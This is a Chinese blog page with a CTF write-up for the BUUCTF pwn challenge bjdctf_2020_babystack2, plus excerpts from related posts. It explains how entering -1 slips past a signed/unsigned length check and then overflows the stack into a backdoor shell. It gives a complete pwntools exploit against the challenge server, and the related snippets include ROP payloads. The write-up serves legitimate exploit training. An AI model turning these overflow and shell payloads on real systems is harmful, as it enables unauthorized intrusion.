BUUCTF-bjdctf_2020_babystack2-WP

BUUCTF:bjdctf_2020_babystack2(write up) BUUCTF:bjdctf_2020_babystack20x01文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01文件分析 64位程序,开启了栈不可执行、部分RELRO保护 0x02 运行 先输入name的长度,再输入name 0x03 IDA 输入nbytes的长度要小于10 同时给出了后面函数直接getshell 0x04 思路 比较nbytes和10的大小,可以利用符号溢出漏洞,输入一个负数,进而输入name的时候可以实现栈溢出跳转到后门函数ge 阅读详情

0x1 checksec

只有NX保护 

0x2 IDA

main

read()函数会存在溢出

跟进buf看偏移

只要nbytes>0x10即可溢出

但是前面if循环限制了nbytes的大小,所以这个方法不行

继续看,nbytes--------->unsigned int无符号整型 

遇到-1会变成unsigned int的最大值,栈溢出

有后门函数

再进行交互,即可编写脚本 

0x3 EXP

from pwn import *

r=remote("node4.buuoj.cn",26042)

backdoor_addr=0x400726

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')

payload='a'*0x10+'b'*0x8
payload+=p64(backdoor_addr)
r.sendline(payload)

r.interactive()

[BJDCTF 2020]babystack2.0 CTF-PWN 阅读详情

相关推荐

[buuctf]bjdctf_2020_babystack

[buuctf]bjdctf_2020_babystack

逆向萌新的博客 1233

【BUUCTF】bjdctf_2020_babystack2

【BUUCTF】bjdctf_2020_babystack2 64位,无canary 有后门函数 这题思路就是用无符号和有符号整型来绕过10的比较 比如:送入一个-1,无符号类型会把它看成一个很大的正整数,是,而有符号则认为是-1 这题size_t是一种无符号整型,下面被强转成有符号,最后又强转成无符号 所以可以绕过 exp: from pwn import* r=remote('node3.buuoj.cn',29907) context.log_level = 'debug' backdoor=0

m0_51251108的博客 430

Node框架之NestJS入门学习

文章主要分为三部分:1 NestJS 与Egg对比2 NestJS 基础知识介绍3 使用NestJS快速搭建应用,实现CURD操作e-link文档Egg官网NestJS 官网NestJS中文文档(非官方)

十九万里的博客 4742

[BUUCTF]PWN——bjdctf_2020_babystack2

bjdctf_2020_babystack2 64位,开启NX保护。 运行一下。 用IDA打开。找到了后门函数。backdoor=0x400726 查看main函数 读入数据的大小由我们输入的参数nbytes控制 nbytes参数的类型 是 size_t,它是一个无符号整型。 但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出) from pwn import * r=remote('nod

BangSen1的博客 1364

从时序迷宫到稳定通信:FSMC配置中的时间参数深度解析与实战避坑指南

本文深入解析STM32 FSMC配置中的时间参数,特别是AddressSetupTime和DataSetupTime的实战配置技巧。通过STM32F407连接SRAM的实际案例,提供从理论计算到CubeMX配置的全流程指南,帮助开发者避免常见时序陷阱,确保稳定通信。

nginx7reverse的博客 82

海思Hi3516CV610开发实战:在Ubuntu 22.04上从零构建嵌入式Linux开发环境

本文详细介绍了在Ubuntu 22.04上为海思Hi3516CV610开发板搭建嵌入式Linux开发环境的完整流程。从虚拟机配置、系统安装到基础环境设置,提供了实用技巧和常见问题解决方案,帮助开发者高效构建适用于智能视觉处理的开发环境。

weixin_29197699的博客 510

BUUCTF|PWN-bjdctf_2020_babystack2-WP

1.例行检查保护机制 2.我们用64位的IDA打开该文件 shift+f12查看关键字符串,我们看到关键字符串"/bin/sh" 然后我们找到后门函数的地址:backdoor_addr = 0x0400726 3.我们看看main函数里面的内容 我们看到第一个nbytes是有符号数,第二个nbytes就变成了无符号数 我们判断这是一个整数溢出 所以 -1 = 4294967295 4.EXP #encoding = utf-8 fr...

l2645470582_的博客 585

电机控制易混知识点1-基波频率/载波频率/采样频率

在电机控制学习工作中会接触到很多专业名词,其中基波频率,载波频率,采样频率是最常接触到的,特别对于电机控制小白开说,不容易理解,现对这几个概念做下总结归纳。

新能源电机控制工程师 | 聚焦实战问题,搭建互助平台 分享电机控制代码调试、现场故障排查、算法优化中的真实困惑;开放讨论电机基础知识以及工作中遇到难点等共性难题。拒绝单向输出,只做工程师的“技术树洞”与“解忧杂货铺”! 2191

BUUCTF bjdctf_2020_babystack wp

显示除了NX保护均未开启或完全启用 ,说明此题难度系数不高,而NX开启说明数据区域(如栈、堆)不可执行,是防止将写入数据区后跳转执行,所以可优先考虑不利用注入且简单直接的方式寻找漏洞。main函数中提示我们可以通过,所以此题可以优先考虑使的攻击手段。同时,我们也可以得知buf的偏移量是[rbp-10h] = 16 + 8。从 backdoor 函数中也可以发现 system("/bin/sh") 的调用及其地址0x4006E6,那么我们就可以通过栈溢出实现 backdoor 函数地址的覆盖。

AEJL叁的博客,欢迎关注! 373

2021英伟达暑期实习面经(芯片设计)

2021英伟达暑期实习面经(芯片设计前端/DFT) 准备了将近一个月,终于赶在三月的最后一天拿到了offer,暑期实习算是上岸了,后面还有阿里/华为等一些国内公司的面试,但既然拿到了nv的offer,后面的先就当积累面试经验吧~ 网上关于nv的实习or秋招面经很少,硬件岗的更少(约等于没有好吧)。之前准备面试的时候,在网上找了半天,好像就只在牛客网上见过一篇关于nv硬件岗的面经,幸好当时认真看了哈哈。所以既然幸运上岸了,想趁自己还记得,record一下,希望可以帮到有缘人呀~ 好了,废话不多说,开始正题。

Hadleysjtu的博客 1万+

DataX对接数据如何在ODS加密脱敏数据(插件开发)

datax对接mysql数据,对姓名只保留姓,名变成**。对这种简单的脱敏,可以不用修改datax源码,直接在配置文件上实现。

大模型大数据攻城狮的专栏 994

BUUCTF PWN wp--bjdctf_2020_babystack

第一步 checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack)所以我们构建的payload,垃圾数据的大小即为0x10+8。我们来在strings窗口找一下有没有getshell的函数。跟进backdoor,其地址是0x4006e6。第三步 编写脚本(每行有注释说明)点击nbytes数组看看。第二步 进入主函数。

2302_81740139的博客 485

温升试验详解

温升试验是电子设备可靠性验证的重要手段,用于评估器件在正常工作或极限条件下的热稳定性。试验通过测量器件表面或关键点温度与环境温度的差值(ΔT),判断是否存在过热风险。主要依据行业标准,采用热电偶、热像仪等设备测量稳态温度。热阻分析可建立温升与功耗的关系,指导器件选型、PCB热设计和散热结构优化。典型应用包括电源模块和LED电路测试。温升试验通过系统性热分析,能有效提升产品在高负载、高温环境下的可靠性和安全性,对现代小型化、高密度电子设备尤为重要。

硬核科技 1331

buuctf bjdctf_2020_babystack wp

buuctf bjdctf_2020_babystack wp

Kata_Jhin的博客 284

财务数智化——解读224页 2025年数智技术业财融合应用蓝皮书【附全文阅读】

《数智技术赋能业财融合蓝皮书》面向企业管理者及数字化转型从业者,系统阐述数智技术在业财融合中的应用。全书围绕技术基础(定义、分类、发展趋势)、融合框架(三阶段路径与三层价值)、七大行业应用场景(涵盖核算自动化、智能收款、项目管控等)、关键技术(AI、大数据等)及实施要点(组织协同、数据治理等),通过典型案例为企业提供从技术到实践的全面指导,助力实现数据贯通与价值创造。

cdfunlove的博客 1747

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

BUU刷题-Pwn-bjdctf_2020_babystack2

因此可以输入0x80000001=>2147483649,signed int类型被当做负数小于10,read函数中unsigned int类型被当成正整数2147483649。比较nbytes和10的大小,可以利用无符号整数溢出漏洞,输入一个负数,进而输入name的时候可以实现栈溢出跳转到后门函数getshell。nbytes是signed int类型,4字节,但后面read函数输入name时却是unsigned int类型。

一个啥也不会的小菜鸡! 359

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

BUUCTF-PWN刷题日记(二)

BUUCTF-PWN刷题日记ciscn_2019_n_8not_the_same_3dsctf_2016 ciscn_2019_n_8 送分题… ''' Author:3nc0de Date:2020/05/15 ''' from pwn import * r = process('./pwn') #r = remote('node3.buuoj.cn', port) payload=p32(0x11)*14 r.sendline(payload) r.interactive() not_the

weixin_45461609的博客 439

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

BUUCTF bjdctf_2020_babystack2

pwn新手小白,写完题后整理的一点点思路,有借鉴其他wp,有任何问题各位师傅可以提出,接收批评指正

2401_88087539的博客 386

bjdctf_2020_babystack2【BUUCTF】

bjdctf_2020_babystack2【BUUCTF】

qq_41696518的博客 989

BUUCTF Pwn bjdctf_2020_babystack2 题解

发现read需要读取输入——nbytes的数字来决定长度。同时nbytes是size_t类型 也就是无符号整型的。定位到main函数 以及后门函数。1.下载 checksec。所以想到整数溢出漏洞。64位 拖入IDA64。

qq_33348179的博客 609

bjdctf_2020_babystack【BUUCTF】

bjdctf_2020_babystack

qq_41696518的博客 1191

【CTF】bjdctf_2020_babystack2

bjdctf_2020_babystack2

凉水的博客 816

bjdctf_2020_babystack2

bjdctf_2020_babystack2 WriteUp BUU_PWN

m0sway的博客 542

CTF buuoj pwn-----第10题: bjdctf_2020_babystack

思路 本体有后门函数, 最简单的是直接调用. 这里想用一下system函数,一开始忘了是32位的,写了个payload_1 = b’a’*(0x10+8) + p64(system_addr)+p64(1)+p64(binsh_addr) 显然不成功 后来反映过来, 写了payload_1 = b’a’*(0x10+8) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr),成功获取flag 编写exp from pwn import * con

bing_Max的博客 2万+

BUUCTF bjdctf_2020_babystack

有的,所以我们的利用思路就是将返回地址先覆盖为pop rdi;ret 的地址,将参数(/bin/sh)传入rdi。然后再将system的地址填充进去,这样pop rdi;执行ret的时候就会去执行system。那么pop rdi;ret 后边的内容就应该是/bin/sh的地址了。有system函数调用,并且存在/bin/sh。去找有没有pop rdi ret。小白做题笔记而已,不建议阅读。64为程序用rdi传参。read函数存在栈溢出。

小白垃圾笔记2 572
上一篇: BUUCTF-bjdctf_2020_babyrop1-WP
下一篇: BUUCTF-jarvisoj_fm1-WP
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值